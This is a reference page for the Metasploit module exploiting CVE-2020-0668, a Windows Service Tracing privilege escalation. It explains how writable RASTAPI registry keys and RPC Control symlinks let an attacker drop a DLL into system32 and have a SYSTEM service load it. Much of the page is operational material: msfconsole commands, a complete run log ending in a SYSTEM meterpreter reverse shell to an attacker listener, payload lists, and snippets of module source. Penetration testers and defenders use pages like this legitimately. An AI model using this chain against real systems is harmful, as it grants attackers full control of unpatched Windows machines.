Service Tracing Privilege Elevation Vulnerability - Metasploit


This page contains detailed information about how to use the exploit/windows/local/cve_2020_0668_service_tracing metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Service Tracing Privilege Elevation Vulnerability
Module: exploit/windows/local/cve_2020_0668_service_tracing
Source code: modules/exploits/windows/local/cve_2020_0668_service_tracing.rb
Disclosure date: 2020-02-11
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-0668

This module leverages a trusted file overwrite with a DLL hijacking vulnerability to gain SYSTEM-level access on vulnerable Windows 10 x64 targets.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/cve_2020_0668_service_tracing
msf exploit(cve_2020_0668_service_tracing) > show targets
    ... a list of targets ...
msf exploit(cve_2020_0668_service_tracing) > set TARGET target-id
msf exploit(cve_2020_0668_service_tracing) > show options
    ... show and set options ...
msf exploit(cve_2020_0668_service_tracing) > set SESSION session-id
msf exploit(cve_2020_0668_service_tracing) > exploit

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

Windows 10 x64 build versions 17134-18363

On builds prior to 17134, the file copy takes place, but it copies the logfile rather than the payload. it is possible that tweaking the MaxSize registry value will affect this, but I found not value that worked.

Introduction

This module makes changes to the filesystem that cannot be removed without Administrative access and a reboot happens. Specifically, the payload C:\windows\system32\WindowsCoreDeviceInfo.dll will be held open by the RasMan Service until a reboot. That also rpevents removal of the directories (if any) that were created. I was not able to stop the service without a reboot to allow file removal.

This module crashes occasionally when writing to HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI. If that happens, you cannot re-run the module, as there will be a name collision for the symlinks required. It might be nice to add a way to clean that up, as it requires the use of the WindowsAPI through railgun.

The Remote Access Service runs as system and creates a log of its actions called RASTAPI.LOG. Once the RASTAPI.LOG reaches a defined size, the Remote Access Service copies RASTAPI.LOG to RASTAPI.OLD in the same directory. The issue is twofold. First, the behavior of the Remote Access Service Tool API is defined by three registry keys:

  • HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI\EnableFileTracing
  • HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI\FileDirectory
  • HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI\new_size

These three registry keys allow a user to turn on the RASTAPI and configure the size and location of the log file. These registry keys are writable by a regular user.

The second issue is that the RAST service performs only a trivial check on the filesystem location of the RASTAPI.OLD destination. If an attacker creates a filesystem link between the old log destination (i.e. C:\users\user\temp\RASTAPI.OLD) and a trusted location (C:\windows\system32\badfile.dll), RASDIALER will copy the old log file to the linked location as the SYSTEM user. In this case, we write to C:\windows\system32\windowscoredeviceinfo.dll and then take advantage of a hijacking vulnerability in the System Orchestrator service.

The attack looks something like:

  1. Gain lower-privileged access to a vulnerable target.
  2. Create a dummy directory to hold files.
  3. Mount the dummy directory to \RPC Control
  4. Upload a dll payload
  5. Create a link between \RPC Control\RASTAPI.LOG and the uploaded payload
  6. Create a link between \RPC Control\RASTAPI.OLD and the destination location the attacker would like to write (in this module, C:\Windows\system32\WindowsCreDeviceInfo.dll)
  7. Write the registry keys to turn on FileTracing, set the file directory to the dummy directory, and set the max file size to one byte less than the size of the payload,
  8. Upload a configuration file for the rasdialer
  9. Launch the rasdialer. When RAST service kicks off, it tries to write a log file to the directory specified in the registry, but it finds one already exists, and it is already full, so RAST service then copies the file to the “old” location that’s linked to the trusted location. The result is an arbitrary file write to a trusted location.
  10. At this point, the overwrite is complete and we launch a trigger starting the System Orchestrator service which loads the overwritten dll.

Verification Steps

  1. Start msfconsole
  2. Get a session with basic privileges
  3. Do: use exploit/windows/local/cve_2020_0668_service_tracing
  4. Do: set payload windows/x64/<payload>
  5. Do: set SESSION <sess_no>
  6. Do: run
  7. You should get a shell running as SYSTEM after several minutes.

Options

EXPLOIT_DIR Directory to use for file upload and linking; this should not already exist. The directory cannot be deleted until after a reboot.

OVERWRITE_DLL Overwrite WindowsCreDeviceInfo.dll if it exists (false by default). WindowsCoreDeviceInfo.dll is not present by default, but if it is present, it is likely loaded, so even with this set to true, the overwrite (and exploit) will fail.

PAYLOAD_UPLOAD_NAME The filename to use for the payload binary (%RAND% by default). This is the name of the dll payload when uploaded to the remote host.

PHONEBOOK_UPLOAD_NAME The name of the phonebook file to trigger RASDIAL (%RAND% by default). The rasdialer trigger requires a config file; this is the name of the xml file required to trigger the RAST service.

Scenarios

Tested on Windows10 x64 Release 1803

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0668_service_tracing 
msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set lhost 192.168.135.168
lhost => 192.168.135.168
msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set verbose true
verbose => true
msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set session 1
session => 1
msf5 exploit(windows/local/cve_2020_0668_service_tracing) > show options

Module options (exploit/windows/local/cve_2020_0668_service_tracing):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   EXPLOIT_DIR                             no        The directory to create for mounting (%TEMP%\%RAND% by default).
   OVERWRITE_DLL          false            yes       Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).
   PAYLOAD_UPLOAD_NAME                     no        The filename to use for the payload binary (%RAND% by default).
   PHONEBOOK_UPLOAD_NAME                   no        The name of the phonebook file to trigger RASDIAL (%RAND% by default).
   SESSION                1                yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.135.168  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x64


msf5 exploit(windows/local/cve_2020_0668_service_tracing) > run

[*] Started reverse TCP handler on 192.168.135.168:4444 
[*] Build Number = 17134
[*] Attempting to PrivEsc on DESKTOP-D1E425Q via session ID: 1
[*] Payload DLL is 5120 bytes long
[*] Registry hash = [{:key_name=>"HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", :value_name=>"EnableFileTracing", :value_type=>"REG_DWORD", :value_value=>1, :delete_on_cleanup=>false}, {:key_name=>"HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", :value_name=>"FileDirectory", :value_type=>"REG_EXPAND_SZ", :value_value=>"C:\\Users\\msfuser\\AppData\\Local\\Temp\\jeYpOx", :delete_on_cleanup=>false}, {:key_name=>"HKLM\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI", :value_name=>"MaxFileSize", :value_type=>"REG_DWORD", :value_value=>5119, :delete_on_cleanup=>false}]
[*] Making C:\Users\msfuser\AppData\Local\Temp\jeYpOx on DESKTOP-D1E425Q
[*] Creating C:\Users\msfuser\AppData\Local\Temp\jeYpOx
[*] Creating mountpoint
[+] Successfuly opened C:\Users\msfuser\AppData\Local\Temp\jeYpOx
[*] Uploading payload to C:\Users\msfuser\AppData\Local\Temp\FICNArio.dll
[*] Payload md5 = b8341507939ea464f81f0245628e470f
[*] Creating Symlinks
[*] Creating symlink C:\Users\msfuser\AppData\Local\Temp\FICNArio.dll in \RPC Control\RASTAPI.LOG
[*] Collected Symlink Handle 704
[*] Creating symlink C:\Windows\system32\WindowsCoreDeviceInfo.dll in \RPC Control\RASTAPI.OLD
[*] Collected Symlink Handle 688
[*] Writing EnableFileTracing to HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI
[*] Writing FileDirectory to HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI
[*] Writing MaxFileSize to HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI
[*] Uploading phonebook to DESKTOP-D1E425Q as C:\Users\msfuser\AppData\Local\Temp\TSvczqClZf.pbk from /home/tmoose/rapid7/metasploit-framework/data/exploits/cve-2020-0668/phonebook.txt
[*] Phonebook uploaded on DESKTOP-D1E425Q to C:\Users\msfuser\AppData\Local\Temp\TSvczqClZf.pbk
[*] Launching Rasdialer
[*] Running Rasdialer with phonebook C:\Users\msfuser\AppData\Local\Temp\TSvczqClZf.pbk
[*] Connecting to VPNTEST...

Remote Access error 807 - The network connection between your computer and the VPN server was interrupted.  This can be caused by a problem in the VPN transmission and is commonly the result of internet latency or simply that your VPN server has reached capacity.  Please try to reconnect to the VPN server.  If this problem persists, contact the VPN administrator and analyze quality of network connectivity.

For more help on this error:
    Type 'hh netcfg.chm'
    In help, click Troubleshooting, then Error Messages, then 807
[*] Checking on C:\Windows\system32\WindowsCoreDeviceInfo.dll
[*] Upload payload md5 = b8341507939ea464f81f0245628e470f
[*] Moved payload md5 = b8341507939ea464f81f0245628e470f
[*] Cleaning up before triggering dll load...
[*] Removing Registry keys
[*] Deleting EnableFileTracing from HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI key
[*] Deleting FileDirectory from HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI key
[*] Deleting MaxFileSize from HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI key
[*] Removing Symlinks
[*] Closing symlink handle 704: The operation completed successfully.
[*] Closing symlink handle 688: The operation completed successfully.
[*] Removing Mountpoint
[*] Removing directories
[*] Trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 7416 launched.
[*] Reflectively injecting the trigger DLL into 7416...
[*] Trigger injected.
[*] Trigger injected. Starting thread...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[!] Manual cleanup after reboot required for C:\Windows\system32\WindowsCoreDeviceInfo.dll and C:\Users\msfuser\AppData\Local\Temp\jeYpOx
[*] Exploit complete.  It may take up to 10 minutes to get a session
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 2 opened (192.168.135.168:4444 -> 192.168.132.125:49680) at 2020-04-29 09:39:54 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Go back to menu.

Msfconsole Usage

Here is how the windows/local/cve_2020_0668_service_tracing exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/cve_2020_0668_service_tracing

[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_0668_service_tracing) > show info

       Name: Service Tracing Privilege Elevation Vulnerability
     Module: exploit/windows/local/cve_2020_0668_service_tracing
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-11

Provided by:
  itm4n
  bwatters-r7

Module side effects:
 artifacts-on-disk

Available targets:
  Id  Name
  --  ----
  0   Windows x64

Check supported:
  No

Basic options:
  Name                   Current Setting  Required  Description
  ----                   ---------------  --------  -----------
  EXPLOIT_DIR                             no        The directory to create for mounting (%TEMP%\%RAND% by default).
  OVERWRITE_DLL          false            yes       Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).
  PAYLOAD_UPLOAD_NAME                     no        The filename to use for the payload binary (%RAND% by default).
  PHONEBOOK_UPLOAD_NAME                   no        The name of the phonebook file to trigger RASDIAL (%RAND% by default).
  SESSION                                 yes       The session to run this module on.

Payload information:

Description:
  This module leverages a trusted file overwrite with a DLL hijacking 
  vulnerability to gain SYSTEM-level access on vulnerable Windows 10 
  x64 targets.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-0668
  https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/
  https://github.com/itm4n/SysTracingPoc
  https://github.com/RedCursorSecurityConsulting/CVE-2020-0668
  https://packetstormsecurity.com/files/156576
  https://attackerkb.com/assessments/ea5921d4-6046-4a3b-963f-08e8bde1762a
  https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html

Module Options

This is a complete list of options available in the windows/local/cve_2020_0668_service_tracing exploit:

msf6 exploit(windows/local/cve_2020_0668_service_tracing) > show options

Module options (exploit/windows/local/cve_2020_0668_service_tracing):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   EXPLOIT_DIR                             no        The directory to create for mounting (%TEMP%\%RAND% by default).
   OVERWRITE_DLL          false            yes       Overwrite WindowsCreDeviceInfo.dll if it exists (false by default).
   PAYLOAD_UPLOAD_NAME                     no        The filename to use for the payload binary (%RAND% by default).
   PHONEBOOK_UPLOAD_NAME                   no        The name of the phonebook file to trigger RASDIAL (%RAND% by default).
   SESSION                                 yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows x64

Advanced Options

Here is a complete list of advanced options supported by the windows/local/cve_2020_0668_service_tracing exploit:

msf6 exploit(windows/local/cve_2020_0668_service_tracing) > show advanced

Module advanced options (exploit/windows/local/cve_2020_0668_service_tracing):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                900              no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the windows/local/cve_2020_0668_service_tracing module can exploit:

msf6 exploit(windows/local/cve_2020_0668_service_tracing) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows x64

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2020_0668_service_tracing exploit:

msf6 exploit(windows/local/cve_2020_0668_service_tracing) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/meterpreter_bind_named_pipe                      normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   21  payload/windows/x64/meterpreter_bind_tcp                             normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   22  payload/windows/x64/meterpreter_reverse_http                         normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   23  payload/windows/x64/meterpreter_reverse_https                        normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   24  payload/windows/x64/meterpreter_reverse_ipv6_tcp                     normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   25  payload/windows/x64/meterpreter_reverse_tcp                          normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   26  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   27  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   28  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   29  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   30  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   31  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   32  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   33  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   34  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   35  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   36  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   37  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   38  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   39  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   40  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   41  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   42  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   43  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   44  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   45  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   46  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   47  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   48  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   49  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   50  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   51  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   52  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   53  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   54  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   55  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   56  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   57  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   58  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   59  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   60  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   61  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options

Here is the full list of possible evasion options supported by the windows/local/cve_2020_0668_service_tracing exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/cve_2020_0668_service_tracing) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to clean up registry

Here is a relevant code snippet related to the "Unable to clean up registry" error message:

111:	      else
112:	        vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
113:	        registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
114:	      end
115:	    rescue Rex::Post::Meterpreter::RequestError => e
116:	      print_bad('Unable to clean up registry')
117:	      print_error(e.to_s)
118:	    end
119:	  end
120:	
121:	  def create_reg_hash(new_size, exploit_dir)

Manual cleanup of "<FILE_PATHNAME>" required!

Here is a relevant code snippet related to the "Manual cleanup of "<FILE_PATHNAME>" required!" error message:

141:	  def remove_file(file_pathname)
142:	    vprint_status("Deleting #{file_pathname}")
143:	    begin
144:	      session.fs.file.rm(file_pathname)
145:	    rescue Rex::Post::Meterpreter::RequestError
146:	      print_error("Manual cleanup of \"#{file_pathname}\" required!")
147:	    end
148:	  end
149:	
150:	  def launch_dll_trigger
151:	    print_status('Triggering the Reflective DLL injection and running the LPE DLL...')

Error when creating the mount point... aborting.

Here is a relevant code snippet related to the "Error when creating the mount point... aborting." error message:

174:	
175:	    # Create mountpoint
176:	    print_status('Creating mountpoint')
177:	    mount_point_handle = create_mount_point(exploit_dir, mount_dir)
178:	    unless mount_point_handle
179:	      fail_with(Failure::Unknown, 'Error when creating the mount point... aborting.')
180:	    end
181:	
182:	    # Upload payload
183:	    print_status("Uploading payload to #{upload_payload_pathname}")
184:	    write_file(upload_payload_pathname, file_contents)

Here is a relevant code snippet related to the "Error when creating the RASTAPI.LOG symlink... aborting." error message:

189:	    # Create Symlinks
190:	    print_status('Creating Symlinks')
191:	    vprint_status("Creating symlink #{upload_payload_pathname} in \\RPC Control\\RASTAPI.LOG")
192:	    symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.LOG', "\\??\\#{upload_payload_pathname}")
193:	    unless symlink_handle
194:	      fail_with(Failure::Unknown, 'Error when creating the RASTAPI.LOG symlink... aborting.')
195:	    end
196:	    vprint_status("Collected Symlink Handle #{symlink_handle}")
197:	    handles.push(symlink_handle)
198:	    vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
199:	    symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.OLD', "\\??\\#{target_payload_pathname}")

Here is a relevant code snippet related to the "Error when creating the RASTAPI.OLD symlink... aborting." error message:

196:	    vprint_status("Collected Symlink Handle #{symlink_handle}")
197:	    handles.push(symlink_handle)
198:	    vprint_status("Creating symlink #{target_payload_pathname} in \\RPC Control\\RASTAPI.OLD")
199:	    symlink_handle = create_object_symlink(nil, '\\RPC Control\\RASTAPI.OLD', "\\??\\#{target_payload_pathname}")
200:	    unless symlink_handle
201:	      fail_with(Failure::Unknown, 'Error when creating the RASTAPI.OLD symlink... aborting.')
202:	    end
